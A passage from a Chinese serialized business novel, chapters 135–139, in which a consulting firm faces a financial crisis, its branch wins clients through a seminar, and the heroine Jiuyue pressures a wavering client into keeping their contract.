九月见众人脸上刚才那股傲慢的神情消失了,便开始收网。语重心长说道:“但目前,你们需要我,我也需要你们,我们在一条船上,只有团结一致,争下这口气。我的目标就能实现,你们出人头地的目标也能实现。合作才能共赢,明白吗?” 她知道,现在跟他们说什么高远的抱负没用,先将他们自己的目标作为动力,抓住他们不被别人认可的痛点,才会激起他们的雄心壮志与热情。 因此,她给自己也树立了一个跟他们有同等需求、有同样痛点的形象,才不会被排斥。 “告诉我,你们有没有信心!”九月问道。 “有。”大家别扭的回道,参差不齐。 九月皱了皱眉,掷地有声说道:“士气就是力量,力量就是决心!给你们机会重新回答。有没有信心!” “有!”众人雄赳赳一声吼。 “很好,现在开会!”九月说道。 会议内容大致被分成三部分。 第一部分,整理公司临时办事处形象,去广告公司制作公司的LoGo与品牌形象,购买办公用具,装饰墙体。任聪是主要责任人,调派其他人一起完成; 第二部分,任务划分,职责都是现成的,关键是各人擅长的点不一样。众人填写详细资料,做一份测试题,另外再写出自己人生中值得骄傲与得心应手的事物,或是优势倾向。 九月负责收集分析他们的专长。再根据专长划分任务。 第三部分,上岗培训,由九月完成。 紧锣密鼓分头忙了一个星期之后,会议内容已经执行到位。 第二次会议,则是工作的项目会议。 九月介绍海量公司的情况,并将自己整理出来的思路和流程,让每个人记熟,然后随她一起去客户那里,观摩如何诊断企业病症。 这个大仓库归整装饰之后,俨然已经有模有样。几个人再穿上总部寄来量身定做的工作西服,整体形象焕然一新,摩拳擦掌准备正式上战场。 五个人在办公室站成一排,九月挨个给他们系上领带,很有仪式感。 整理好仪容,九月退两步打量,满意的点点头,“你们相信吗?我们这个团队,不久的将来,会成为普世公司的精锐团队,让蓝鲸团队都望尘莫及。” 几个大个子听到她这一番话,竟个个眼眶发红,心里憋着一股劲。 九月脸上泛着疑似师者般慈爱笑容,说道,“出发吧。” 在他们忙于建设姜城办事处的时候,普世总部也开始为第一家子公司选址,落实成立事宜。 这天,尚云将老甘叫过来谈话,郑重地道:“老甘,你在我身边也有两三年了,创造了不少汗马功劳。你的表现,我都看在眼里,如今你是蓝鲸三支总队里的老大哥,独当一面的经理人。现在,到了你展翅飞翔的时候了。” 老甘其实有预感,但没想到这么快。 尚云继续说道,“公司的蒲公英落伞计划,以总部为中心点,在全国预设7个分公司,作为这一阶段重点目标。 要将普世业务覆盖全国。以网状形式连接国内所有业务,交错发展、延伸。你是三位总队里最出类拔萃的人,也是七支箭里的第一支箭,扎根一定要深、稳、准,后面六家分司会复制你的有效模式。” 甘总坐直了腰身,说道:“尚总,我很荣幸能被您如此看重,深觉得自己能力还不够担当大任,但既然尚总给我机会,我一定会把握住,给公司创造应有的价值。” 尚云微微一笑,说道:“坐在一家公司的最高位,凡事都得自己去规划、思考公司的前路,对每个决策负全责。你出任公司全球第一家与总部权限齐平的分公司总裁,有多少权利,就要负多少责任。独自多磨砺、承担大任,尽管放手去干。” “明白。尚总,第一次出任这么重要的岗位,面临的是不同于以往,带领几个人去见客户,而是运营一家企业。您有没有别的叮嘱......或者锦囊妙计什么的,供我在遇到难题时参考?”老甘即兴奋又有所担忧,希冀得到指点。 尚云听他委婉用了“难题”这个词,知道他在消化自我压力。便沉吟道,“我没有锦囊妙计,但这么多年工作中积累了一点点经验,供给你参考。 无论在什么境遇下:第一,要有敏锐的危机感;第二,要聚集人心。这些说起来容易,真正执行较困难。聚集人心最忌的三大天敌,一是没有使命感的驱使,二是没有目标的劳动,三是没有责任与界限的核心价值观,千万要注意;第三,保持自信,但放低姿态。凡事都有解决之道,只要随时能转换思维。” 老甘将这番话,默默记在心里。“谢谢尚总不吝赐教,一定不辱使命。” 不久后,老甘在大家的艳羡下,带着自己旗下三支一梯团队在新公司安营扎寨了。 就在普世总部欢欣鼓舞的氛围中,一个坏消息传来。 普世公司的上市申请被驳回了。紧接着,接二连三的坏消息传来。 蓝鲸团队年前谈定的客户不断流失,原来交了定金还未签订合同的客户突然毁约。 公司财务开始告急,原来急骤扩张的团队因为业务量骤减出现大量闲置人员。公司基本入不敷出,之前投资在研发上的巨额资金还没回报,资金链正式断裂,原本欣欣向荣的局面在一个月之内日益凋敝。 大家暗暗将希望寄托在老甘坐镇的分公司。 老甘也第一时间听说了总部的情况,卯足劲想将分公司做起来。 新公司所处的地区远离繁华一线城市,过去普世在各个都市负有盛名,但偏远工业城镇只闻其名,不见其实。去开拓市场时,就难免受挫。 听了普世分公司团队的介绍,工厂的负责人说道,“听说你们不以营利为最终目的,不如拿我们公司免费打个样,你们在这里有成功案例更好宣传,双方合作,都有利可图。” 有的公司则认为,“我们的公司还不到那一步,贵公司提供的业务我们暂时不需要。” 更有傲谩者,说道:“什么文化不文化,我们公司成立这么多年,没那东西一直都挺好的。” ...... 三支团队成员全体出动,但大家出去奔波几天后,得到的都是负面结果。开会纷纷反映问题。 顾问们何曾受过这等冷遇,在总部时多的是客户主动送上门,心里落差极大。 老甘心里也好受不到哪去,比之其他人,他内心更焦虑。但他此时不能让团队失去信心,必须拿出领头羊的气势来。 “大家每天的报表和反馈,我都仔细研读了。这几天想出一个对策。第一步,我们新公司财政微薄,无法像总部以前财大气粗地免费打样。但也可以退一步来折中,承诺先服务,看到成果之后再付费,没有成效不收费,以此表示我们的真诚。” “但公司的开销极大,每天都在支出,如果等到客户有成效再付费,很难支撑下去。” “对啊,这是生存问题。” 第一百三十五章 最坏打算 “大家先听我说。”见大家意见不一致,老甘又接着说第二步,“我不是指所有客户都这样,只是为了大家能提高成交率,相当于公司放宽政策,你们自己根据客户的实力和诚信度将这项福利用起来。 对于认知不够的企业,我想开展现场免费的文化宣讲课,印50份邀请函,你们设计一下拿邀请函的门槛,提升邀请函的‘含金量’。另外,只要来参加文化宣讲课,以后服务费可以享受八折优惠。” 大家犹豫一阵点头,因为心里都没有底,不知道这样是好主意还是坏主意。 老甘想起尚云的“经验分享”中第三条,“保持自信,但放低姿态。凡事都有解决之道,只要随时能转换思维”,心里稍微踏实了些。 大家散会后,老甘喃喃自语道,“要允许自己试错,总比坐以待毙要好。” 团队成员一合计,会议地点在酒店商务专用会场举行,四处张挂总部的成功案例,公司团队照片,邀请函的设计精致高雅上档次,获得邀请函的门槛设计为一千人以上的目标公司,也就是潜在客户。 发了50份邀请函,实际签到人数48人。 老甘在开篇先介绍了自己,再如数家珍普世总部的从零到一,以及新成立的分公司的使命。连续抛出几个经典常见案例,向在场企业负责人讲述这些案例遭遇滑铁卢的原因,再到解决问题的原理。 听众越听越有兴趣,发现这些问题在自己公司也有不同程度的存在。演讲中穿插互动提问,在互动环节忍不住踊跃举手发言,提出自己的问题。 “现场收集到问题,都是同一个中心点。企业管理的问题,看似出在流程和制度上,归根结底,问题出在‘人’身上。各位所在公司能有今天的规模,我不相信你们企业没有相关制度和流程,只是执行力和态度的问题。 但话又说回来,世界没有哪个国家的法律是毫无缺漏的,也没有哪个企业的制度是毫无缺漏的。 靠制度管人永远不是最好的办法,充其量起到协助作用,靠文化管人才是优选。我打个比方。 同样两个人,一个认同公司核心文化,一个不认同。认同文化的员工在做事的时候,心里装着公司的目标,装着对公司的责任,凡事会先考虑这是否会损害团队和公司的利益。 他也明白,自己跟团队以及公司的利益其实是捆绑的,没有哪个效益不好的公司会给员工发丰厚的奖金,只有在公司蒸蒸日上的时候才会给员工带来更多的福利、提供更多的机会、拥有更多实现自我价值的机会和舞台。 不认同文化的员工则对公司的目标毫不关心,做事也首先考虑自己能获得什么好处,如果没有好处那我为什么要去做?一定会推托。人与人是相互影响的,只要一个人是这种心态,其他人出于自我保护,会跟着这么做:既然你们都不做,凭什么把工作推给我? 我们短时间内看不出什么差别,但时间一长,整个工作氛围两极分化,区别相当大。一个企业的企业文化就像一口锅,它能烙多大的饼,在于这口锅的大小,而不在于你的胃口大小。所以说,企业能发展到什么程度,受限于企业文化。现在,你们还质疑企业文化管理的重要性吗?” 现场掌声雷动,纷纷起身鼓掌,很多人当下即表示签合约。 第一分公司的第一次战役,全胜结局。 这一战役获胜很快传到普世总部,尚云听闻捷报传来,却毫无兴奋之色。 他知道,老甘堪负重任。可是,如果他猜得没错,第一分公司的客户很快会成为对手的猎物。 销售部门则表示要给老甘发喜报祝贺,另外再“表示表示”。公司以往都是这么奖励团队的。 尚云道:“先别急。” 对方没明白意思,尚云也不再解释。 成功了大张旗鼓受到追捧,如果随即失利,他的压力与挫折感更重。在以后工作中,就会绷紧神经避免失败,一个不敢输的人更容易输。弓再好也不能持久拉满,容易折断。 让老甘的喜悦悄无声息的在他们分公司热闹热闹就可以了,时间还长,在这敏感时期,总部任何举动都得慎重思量。 每个团队都得守好自己的余地,很可能手中谈妥的客户,会成为下一个被放空的鸽子。 但对于这一现状,尚云将自己关在房间日思夜想,也想不出一个有用的对策。 他托关系打听了,很多客户在毁约之后,回头就跟克普公司达成协议。问及原由,据说涉及到自己企业的生存,以及受到隐匿暗处的强大商会压力。 如果执意要跟普世合作,那客户公司既将资源尽失,发展受阻。但除了普世,他们可以找同行业的任何一家公司合作。这看起来似乎也不像是刻意为难。 既然如此,自然会退而求其次。在此行业中除了普世,所有人都会选择克普,毕竟后者是行业中的龙头企业。 这种情况,任何人都会保帅弃车,不去淌这浑水。只能说普世公司要自认倒霉,这明显是冲着普世来的。 深夜的时候,尚云坐在花房中,手中一支酒杯,眼神空洞望着泼墨般的夜空。 电话响了,屏幕显示“九月”的名字。他将酒瓶放在一旁,接通电话。 “九月。” 九月开口第一句话就是:“你还好吗?” 尚云声音很低沉,又似乎带着略微含糊,“你都知道了?” “文菌告诉我的。”九月知道普世正面临着怎样的困境,也知道尚云正面临泰山压顶般的压力,“如果需要我,我随时可以回来。” 她回来又能如何?现实困境摆在那里,他已被困在其中,她来了也不过是填坑而已。 “不需要。”尚云沉声微喃:“你带好自己的团队,我已经将公司一部分资产划出去,放在你名下。万不得已的时候,公司会与你的团队做出切割。你带着他们,另起炉灶。” 她感觉尚云喝酒了,但他的思路却很清晰。听到他这么说,九月心彻底凉了。 他早在想到这个计策的时候,就已经把算盘打到最坏的那一步。 “这么些年,我对得起身边的每个人。唯独......”他吃力的站起来,在三楼的花房里,摇晃中靠在月兰盆栽架子上。 天空墨黑,竟没有一丁点月色:“唯独对不起你。这十多年来我亏欠你,现在为了公司一线生机,又让你含冤驱逐至姜城。” 第一百三十六章 九月堵雷辰光 九月静静听他低沉如水的声音,带着一些沮丧情绪说:“那边环境很差,何况你一个女子,带着五个新人,从零开始组建团队。我知道这非常不容易,实在放心不下。但除了你没有更好的人选了。九月,委屈你了。” 他在说话时,九月无声流泪。此时,她稳了稳心绪,平静说道,“尚云,我们还没到最坏的情况,也远远没到说这些话的时候。想要干成一件大事何其之难,所以从古至今鲜有人能实现。而能实现伟大抱负的人无不开天辟地、立地成王。 你有开创江山的魄力,巨大的困境在前,那就化整为零,拆解下来垫脚。你不用考虑给我留后路,不要有任何心理包袱,这些只会影响你的判断。 还有,我从不觉得委屈,相反,你敢把这么重要的担子放在我肩上,说明内心认可我、信任我,我也很庆幸在危难之际能为你和公司做点什么。 振作起来,尚云,世界上没有真正的绝境,一定有透光的裂缝,一定会有转机。” 尚云望着一枝刚开苞的月兰,在微风中摇曳颤抖。然而他的大脑快速运转,全然不知道视线落点处有什么。 “尚云,你在听我说话吗?”九月问。 “化整为零,拆解是吗?”尚云没头没脑的问道。 她一愣,不知道尚云想到了什么。“嗯?” “先不说了,你早点休息,过段时间我去看你。”尚云酒醒了,他走出花房,咚咚有声快速走下三楼,去了书房。 九月望着被挂断的电话,愕然。 天亮之后,九月起床将采买的菜,做成简单又美味的早餐。 自从来了姜城,九月就包揽了后勤伙房和领队作战的内外双重任务。 几位小伙也陆续起床,穿戴整齐出现在简陋的餐厅,其实也是会客厅,作为两用。 “如今上得厅堂又下得厨房的女人可不多了。九月姐,你会找什么样的男朋友?”老欧向来是个话唠,现在倒是对九月服服帖帖。 听老欧这么问,任聪转头看了九月一眼,低头吃早餐,耳朵可机警地等待九月的回应。 九月好笑地道:“怎么关心起我的终身大事了?我这又当爹又当妈的,你们几个可得给我在工作上多下点功夫,别瞎琢磨旁的事。” “工作上的事当然是全力以赴,你指点的那些我们都记心里了。”干周也笑着应道。 “光记住没用,要懂得举一反三,会灵活运用。时间不等人,给自己的齿轮上点油。”九月给几位倒上豆浆,“来,以豆浆代酒,祝我们今天在工作上顺顺利利。” “必须的。”几个小伙朝气十足。 由于是驻厂诊断,团队全体一起去海量公司。 在路上,九月便跟他们聊起这家公司的背景,“海量公司的创始人雷辰光草根出身,曾是4.22事件的英雄,所以在他公司也有很强的荣誉感和英雄梦。上次看到他们的愿景是帮扶天下草根,成全天下生意。 员工们也因为他一身正气,享受曾经英雄的光环,谁还没有个英雄梦?雷辰光的个人人设本身就很有号召力。创始人的影响力越大,团队的凝聚力就越强, 你想员工都自动代入到雷辰光的光环里去,做起事来很有使命感。还需要耳提面命去提要求么?都很自觉对吧。当然,就文化层面和管理层面来说这也不全然是好事,凡事都有两面性。” 老欧说道:“怪不得,一家小小的公司,能在短短两年之内发展这么迅速。” 干周附和道:“对啊,如果海量的对手不是金仕集团,过两年这家公司一定会赶超的。但世上不存在如果,只有结果。” 方仔问道:“这话怎么说?” 干周瞥了一眼:“这都不知道?客户信息没了解清楚?” 方仔挠挠头,嘿嘿一笑。 书生接口道:“因为金仕集团也是我们的客户,我们不能帮着一家客户造原子弹,打另一家客户。所以,只能明文规定要求他们不能跟金仕正面火拼才接手这单业务。” “那现在我们规定他们怎么做?他们会听吗?”方仔好奇的问道。 “如果客户认为我们的提议有巨大收益,就一定会听。总部跟他们签立协议,帮助他们重新设立核心文化和战略,现在转战国外。”九月将自己想法分析给他们听,“其实海量现在的工作氛围和团队凝聚力特别优秀,但雷辰光有长远眼光,他担心员工的凝聚力来自他个人英勇事迹,而非企业文化的作用。 暂时看不出什么,等时间一长,先前的热血事迹在岁月中淡去,他会遭到反噬。比如届时要靠什么来管理公司,号召人心?雷辰光是个能成大事业的人,从他三顾茅庐请尚总接受他的邀请就看得出来了。一般人哪有这般气度。” “既然如此,我们能做的就范围就有限了。”老欧说道。 一直没作声的任聪,专业知识学得很扎实,此时反驳道:“话也不能这么说。如果把企业比作人,那战略与文化就是人的双腿,双腿互相配合方向一致,人方能到达目的地。转战国外从战略层面来说方向已经变了,原来的核心文化就已经不适用。 特别是雷总英雄事迹声名在外,吸引来的大都是爱国热血青年,咱们民族在历史上饱受八国联军欺侮,这些无论如何会让爱国员工内心对国外有芥蒂。原来的愿景是成全天下草根,我们下意识将‘天下’当成自己国家的江山,江山多宽,天下就多宽。未必认可这‘天下’还包含外邦。 现在明摆着是走国际路线,这么一来,‘帮扶天下’放到现在就等于专门要帮扶外国人的生意,哪还有使命与号召力可言。那他现下面临的问题正是我们要解决的课题。 再说,除了国内,外面海宽的世界可供逐鹿,往后利益大着呢。国内金仕集团近十年巅峰发展,把市场已经吃透了,海量士气再充足,各方面相比还是逊色于金仕,论持久战不一定有胜算。这么一来,还不如在海外试水。这笔账雷辰光心里有数。” 任聪这么一解释,大家也就都明白了。 坐在副驾驶位的九月转头赞赏地看了一眼任聪,“分析得相当不错,任聪。” 任聪正在开车,听到九月这么说,便无声的咧了下嘴。 九月几疑是自己错觉,居然发现他脸上有了一抹红晕。 去了海量公司,雷辰光不在公司,但给下属下达了死命令,一定要配合普世团队工作。 九月觉得奇怪,这么重要的事情,雷总不亲自在场?不过,驻厂诊脉一般来说需要几天,今天不在,那明天总会回来。便找个临时据点便展开办公。 遗憾的是,在公司几天下来,竟一直没有与雷辰光碰面。打电话也不接。这就反常了。 这天,九月就带着任聪直接在晚上去他住处堵他。 车子停在小区外面的围墙暗处,两人坐在车里。春寒料峭,九月搓着手。 任聪见了,便把暖气打开。 这时一辆咖啡色奥迪由远而近,九月说了一声“他回来了,你在车里等我。”忙下车去拦车。 车子在九月跟前停了下来,雷辰光一看是九月,便下车道:“慕小姐,你这是?” 九月走至他面前,“雷总,别装糊涂,咱们聊聊。” 第一百三十七章 九月谈判成功 “这是车库入口唯一通道,我要是堵在这,保管一会儿就有人过来砸车。”雷辰光心中有数,很为难的样子。 “辰光,怎么回事?”坐在后座的是雷总的夫人和女儿。此时雷夫人下车一探究境,见这场面,不禁隐隐发怒了。 “嫂子,你放心,我不是你想像的那种人。跟雷总签过合作合约,现在雷总避而不见,这合作是继续还是结束,总得有个说法。所以我今天才想出这法子跟他见面,我就是一个执行任务的人,也得回去向上级汇报工作,还请不要为难我。” 雷夫人一听这话,觉得在理。何况,对方的措辞和气质,也确实很得体又干练:“辰光,做生意和做人一样,别拖泥带水。有问题解决问题,避而不见算怎么回事,咱们不能这样。你去处理事情吧,车子我来停。” 雷辰光倒是很听夫人的话,“那我去去就来。” “谢谢嫂子!”九月礼貌一笑。 雷辰光所住的小区应该有些年头了,附近不算繁荣,特别安静很适合居住。小区外围商铺里二楼有一家上岛咖啡,两人便选择就近坐坐。 “雷总,咱们从第一次见面到现在,已经相当了解彼此为人,有些话我就直截了当说了。当初你三番五次给尚总打电话要合作,看得出来你心胸非同一般,诚意十足。如今真正开始合作,你却丝毫不上心。这个转变我很不能理解,这其中一定有原因吧?”九月开门见山的说道。 雷辰光低头深思,手指在桌上有节奏的敲击,“慕小姐,要不我们结束合作吧。” 九月心头一惊,但门面上还是波澜不惊地笑笑,说道:“我尊重雷总的意愿。能告诉我是什么原因吗?” 见雷辰光在想着推托之辞,九月笑容敛尽,她正色说道:“雷总,普世成立至今,也就三四年的时间,我们的品牌能得到广大客户的认可,不是靠歪门邪道,不是靠拉关系打广告。每一个客户我们都是拼尽全力,以真诚服务和专业实力换来的口碑。 这也正是雷总当初一而再,再而三地请求我们尚总答应跟您合作的原因吧?不是我说好听的话来挽留您,您能在公司蒸蒸日上时就看到了忧患,证明您不是一个目光短浅的生意人。您跟我们尚总其实是同一类人,能以千里之外的目标决定当下每一步部署。 尚且不说,您如果放弃这次合作会意味着未来将要走多少弯路,单从您一心塑造的正面形象来说,您现在的选择会在未来带给您和海量怎样的影响和评价?舆论能将人捧上神坛,亦能拉下神坛。” 雷辰光抬头吃惊的看着她,她最后一句话已经道出一切,看来她对一切洞若观火。 因此,雷辰光也就不能再含糊其辞:“我手底下有几百号人的生计,海量公司是我第三次创业。每一次创业失败对于我来说都像蜕了一层皮,其中痛苦只有自己知道。相对于未来的评价,我更在意海量的现状和员工的生存,这是作为企业主最起码的责任。” 侍者端来咖啡摆在桌上,九月捻起调羹默而不语的搅动咖啡。 只听雷辰光又说道:“你说的对,当初是我主动求着尚总跟我合作,因为有前两次创业失败的经历,我才拥有你所说的长远眼光。但此一时彼一时,我有我的现实考虑,希望贵司给予理解。” 九月喝了口咖啡,她一向不爱放糖,原汁原味的咖啡,苦得让人瞬间一激灵。“既然雷总已经将话说到这份上,没有半分回旋余地,那么,我也就将话挑明。 站在公司的立场,我会竭尽全力维护公司声誉。你想啊,无缘无故被人取消合作,不知情者以为普世的服务不周到,专业不合格,这对于以专业和精准服务于客户的普世来说是奇耻大辱。 雷总有责任保护自己的公司和员工,也有责任为普世正名。如果您能够发一封声明,向媒体公开说明取消合作是您单方面的某些原因,跟普世毫无干系,那么,咱们的合作就到此结束。我这要求应该不过分。” 九月这一招,将了雷辰光一军。 雷辰光没想到她会提这样的要求,听起来合情合理。但要是答应她的要求,等于立即让自己撞上风口浪尖。 “我可以按合同要求赔偿违约金,但绝不会发声明。”雷辰光一口回绝。 九月早知道他不会就范,幽幽说道:“我当初为了接您这一个项目,从即将晋升蓝鲸副总监直接被发配姜城这不毛之地。雷总一点不讲情分我不会计较。 但这些天我们团队可没闲着,一直在兢兢业业地为您公司服务。您让属下全力配合,他们也确实从头至尾有求必应,所以,现在海量公司在我们面前它就是透明的。” “你......你想说什么!”听到这里,雷辰光站起来,双目闪现怒意和惧意。 “我说什么您很清楚,普世公司一向严苛律己,宽以待人,所以才总是遭受外界扼喉。不得已时,就算冒着被公司开除的风险,我也要讨回公道。 我的行为只能代表我自己,你的行为却代表全公司,影响全商界。”九月靠在沙发上,反倒轻松起来:“雷总在自我保护时,选择牺牲盟友,传出去谁还敢跟您合作?我也是学了雷总一招半式,你不仁在前,我不义在后。咱们五十步笑百步,谁也不取笑谁,就看谁的代价大,损失多。” 此时,雷辰光咬牙切齿,却毫无办法,瞪着铜铃般的双目,良久又重新坐下。 见状,九月知道雷辰光松动了,正色道:“雷总,先小人后君子,我这么做也是没办法,请谅解。眼下有两个选择,第一,跟普世合作到底,站统一阵线。我将拼尽全力将您公司推上更好的发展前景。说到做到。您有顾虑我是清楚的,但海量现在主营业务战线放在国外,您有什么好担心的呢? 第二,取消合作,但要发一封声明,告诉所有的人,取消合约说明并非普世自身原因,而是您一再请求合作后遭遇某种变故,现在公司有顾虑不得不取消合作。 明眼人见到这封声明,就清楚普世的处境,也清楚您的处境。你作为受迫方,对您的形象不会造成损害。 这几年受普世恩惠的企业不在少数,尤其在尚总免费授课之后。我相信这样的声明会引起社会公议的,我也相信公道自在人心。对您来说,无论是继续合作还是取消合作,您百利而无一害,何乐不为?” 雷辰光这时怒气渐消,开始认真考虑九月的提议。 沉默良久,他像是下定决心,一字一顿对九月说道,“继续合作。” “雷总是个痛快人,那之前的不愉快就当没发生过,时间不早了,我还有很多工作在手头上,就失陪了。”九月提起自己的外套,笑着说了句,“哦对了,雷总有一位贤内助,您好福气!” 看着九月身姿消失在咖啡厅,雷辰光沉沉吁了一口气,心道:这女子不简单。 第一百三十八章 普世的神秘贵人 九月回到停车的地方,没看到任聪,便双臂抱着身子在寒风里等了一会。 好在任聪很快回来,一边说道,“对不起啊,久等了。”一边拿出钥匙开车门,手上还提着一个手提袋。 九月并不怪他,扬了扬下巴:“你买的什么?” “这么晚了,回去还得让你做夜宵,挺辛苦的。我去附近餐厅炒了几个菜,回去就能吃。”说完,将手提袋放在后座。 九月笑了,“真周到。上车吧,这天太冷了。” 两人回到公司,下车时,九月看到不远处有一辆熟悉的车,瞧那造型洋气的坐骑除了莫诚还有谁。那人似乎也发现她回来了,便打开车门下来了。 果然是莫诚! 九月回头跟任聪说道,“你先进去跟大家一起吃吧,我不饿,不用等我。” 任聪听她这么说,刚想问她去哪,就看到向这边走过来的陌生男人。他皱了皱眉,站着不动。“那是谁?” “曾经的朋友。”九月淡淡道。 “哦。”他提着手提袋怏怏进屋了。 莫诚不疾不徐走过来,保持一定距离站定,淡笑问道:“九月。别来无恙?” “你怎么来了?你怎么知道我的地址?” 莫诚心蹬地顿了一下,九月不是不懂人情事故,然而她连装都不装一下,直截了当地反问他。 “如果有心,自然就能找到。”莫诚没有直说。 这下九月一脸诧异,不悦道:“莫诚,你跟踪我?” “九月,我从那么远的地方赶来,粒米未进。能赏面一起吃个饭吗?”莫诚不喜欢她这样的对话方式,却不能责怪她。毕竟在她心里,自己早就已经被划分为仇人了。此时能站在这里跟她对话,已经很优待他了。 刚才看见那人提着外卖,估计她也没吃饭。“这边比较偏僻,刚才来的路上,我在这片转了好久才找到你们的落脚点,凑巧路上看到几个吃饭的地方。” 九月稍微犹豫一下,便同意了。找了一家看起干净卫生的餐馆,便进去找位坐下来。 “可以说了吗?”九月像是想尽快结束两人的相聚,单刀直入。 莫诚眼睛一眨不眨看着她,她面容憔悴了不少,本来就瘦削的鹅蛋脸又清瘦些许,一双眼睛显得更大了。“你这么问,我还真不知道从哪说起。其实早在我认识你之前,就先跟尚总联系了。你知道的,因为一场小车祸,小竺与他相识。后来画是他转寄给我的,令我惊讶的是随面附了对画的解读。你猜他写了什么?” 九月也很好奇,但她表现得很不在意,“突然提起这些做什么?” 莫诚短暂地笑了,知道九月向来不喜欢被人拿捏,只好和盘托出:“他说,温暖的地方总让人流连忘返,有光的地方则可以驱散所有恐惧与寒冷。沧月之下,万物寂籁,那是画者挥洒给大地的仁慈,满足任何生物渴求光源的愿望,满足世人像饕餮般在黑夜里索求着缺失的温暖。” 九月心中一动,那确实是她作画的初衷。要说最了解她的人,唯有尚云了。 “九月,如果他说的都是对的,那说明你不是无情之人,反而有悲天悯人的心灵。我相信他所说都是真的。你心里恨我,我无话可说。这次来也没想改变我们之间的关系,纯粹想来看看你。” 九月垂下的眼睑突然抬起来,“你错了,我并不恨你。但是,也不希望我们之间再有什么瓜葛。念在你曾经为我所做的一切,我不希望撕破脸皮弄得彼此太难堪,所以,到此为止吧。” 九月说完就要离开。 莫诚拉住她的手,“就算我能帮到普世,你也不愿意听我把话讲完吗?” 果然,九月身形顿住了。 他抓紧机会说道,“普世的现状很危险,也许你们已经知道是怎么回事了。首先是业务拓展问题,其次是资金链问题。单是靠普世自己捱过去,没有外界帮助,只怕是捱不过去的。” “莫诚,普世今天局面,有没有你的手笔?”九月从他掌中抽出自己的手,语气发沉,面若寒霜。 莫诚苦笑,站起来看着九月:“我若参与其中,还会费尽千辛万苦找到你,让你如此质问我?九月,伤人的方式有千万种,哪一种都不及你刚才这一句。” 九月不再说话,但面色有所缓和。 “你不用处处防备我,为了你,我可以豁出一切,也确实这么做了。静下来的时候,我一直在想,我们一定在上辈子就认识,不仅认识,一定是我严重亏欠你,所以今生今世才会因缘际会加倍偿还。否则,我也说不清自己这十几年所作为何?” “我不后悔之前的作为,更不后悔今天来找你。帮助普世,我本可以直接约见尚总,但尚总未必会见我。便想通过你迂回一下。以前你问过我,我为什么入职普世,当时我回答你说,因为普世有我想要的东西。就是普世的文化和经营理念。必须深入其中,亲自体验。我自己经营企业,父亲也经营企业,母亲亦是外资企业高管,但他们的经营模式与理念都不是我想要的。 我从一个高人那里得知尚总这号人物,那时尚总还在金仕集团。我创业后又去拜访这位高人时,除了请教他问题,他还特意给我指了条明路。说如果想要学习系统全面的经营之道,推荐我入职普世公司,说普世创始人会打开我的眼界。这些,我在第一次跟你聊天时就有透露过,只是稍微用了一点障眼法。我从不曾瞒你,没详细说明只是没到时候。” “你所指的高人是谁?”九月神色已恢复正常,抓住重点问道。 “这正是我要跟你说的,包括他们想驰援普世的想法。”莫诚目光里全是坦诚。 九月收敛神色,指了指椅子,示意莫诚坐下来。自己也重新入座。 这时服务员也端上热气腾腾的菜。 摒弃前嫌后,两人也确实是饿了,菜很合口味。莫诚给她夹菜,“你在这里生活艰苦,女孩子不必这么拼,要对自己好点。” 九月用筷子挡住他的筷子:“我自己来。” 吃得差不多时,莫诚付了钱,带着九月在寂静昏暗的街道缓缓散步。 “你刚才还没说,那位高人是谁?”九月打破沉默,主动开口。 “基克纳集团的创始人。” “基克纳?”九月眯起眼睛想了很久,总觉得耳熟,好像在哪里听到过。 “当初创立黑香水酒吧时,我的创意就来自基克纳产品之一电子烟。还有印象吗?” 九月似乎想起来了,她当初还专门查过这个品牌和基克纳的研究院,确实是一家很有实力的企业。 “可是他为什么想帮助普世?”他如果与尚云相识,完全可以自己联系,何必绕这么大一圈?如果不相识?那为什么会提出要帮助普世? 毕竟,现在普世的处境,外界避之犹嫌不及。 “也许是惺惺相惜吧,他很早就欣赏尚总的才能和抱负,他也说君子有所为有所不为,而驰援普世公司则是可为而且义不容辞的事。引用张董原话,他说尚总这样的人世界上极少,一旦有一个,足可以改变世界。” 九月低头看着自己的脚步,细细思考莫诚所说,耳边听到自己的高跟鞋在水泥地上发出有节奏地声响。“那他会怎么帮?我们需要做什么?” 第一百三十九章 琳达辞职退隐 “我知道你是尚总最信任的人,你帮忙说服尚总,安排两人见一面,具体的事他们面谈。” “最信任的人?”九月不希望尚云计划外泄,便冷冷一笑驻足问道:“你是装作不知道我为什么会被发配到这里来吗?” “我知道。如果是旁人,违背尚总的原则,大概率可能已经离开普世了。你还在普世,只是调离总部,足以说明你在他心里不只是一个员工。别人不知道,我还能不知道吗?”莫诚淡淡一笑。 从这个角度分析此事,莫诚应该没有怀疑,九月静默几秒,点点头。“我尽力。” “你今晚住哪?找好住处了吗?” “不了,送你回去就打道回府。”莫诚回道。 看来,他确实专程为了这件事情来找自己。九月抿了抿嘴唇,“谢谢你,莫诚。我说的不只这件事。” 莫诚笑了笑,就算两人之间的交谈永远只能停留在这三个,只要不是漠然相对,他就很知足了。 “上车吧,送你回去。”车子就在前边。 长夜漫漫,有的人辗转难眠,有的人则正在欢歌载舞。 黑香水酒吧包厢里,林作杰与克普几位高管正笑逐颜开,几只酒杯在空中相碰,发出清脆悦耳的声响。 “喝!” “痛快!” “跟着林总有肉吃,有酒喝。” “没错没错,兄弟们可要紧抱林哥的大腿不撒手。” 林作杰在奉承话语与酒精烘托下,大手一挥,笑道:“只要兄弟几个听哥的安排,就有享不完的荣华富贵,等着吧。” 这时,台面上的手机响了,有人提醒道:“林总,电话!” 屏幕显示“琳达”二字,林作杰轻蔑一笑,“管她呢,要不是我为克普所做的一切,她现在还能坐在那个位子耀武扬威?来来来,咱们跳舞!” 琳达听着电话里双音提示“您拨打的电话无人接听,请稍候再拨......”,她面含薄怒,克制地放下手机。 想了想,又拿起手机,找到小竺的电话,看了看时间,已是深夜十点多,小竺怀着身子,此时可能已经休息了。 琳达重新放下手机,仰面靠在办公椅上,太阳穴疼痛难忍。 老毛病了。 她关掉打开的电子报表,关掉电脑电源,一个人走在偌大却空荡荡的办公走廊。深深无力感钻进心底,隐隐忧心浮上面庞。良久,她收回目光,若涩漫延在嘴角。 她预感,这将是毁灭的开始,无论是雷默集团,还是克普公司。 第二天,林作杰出现在琳达办公室。 见了沉着脸的琳达,他赔着笑脸解释道,“琳达,昨天喝多了,后来手机没电了。今早上才看到你给我打的电话。您深夜找我该不会有什么紧急事情吧?” 琳达怒到极点,也会保持较好的涵养,微微一笑,“林总,咱们最近的报表数据反常得厉害。你自己有看吗?” “看了,每隔两小时会跟进咱们的业务团队,每隔半天要求他们更新数据,每天下班前都会看他们交过来的报表。” 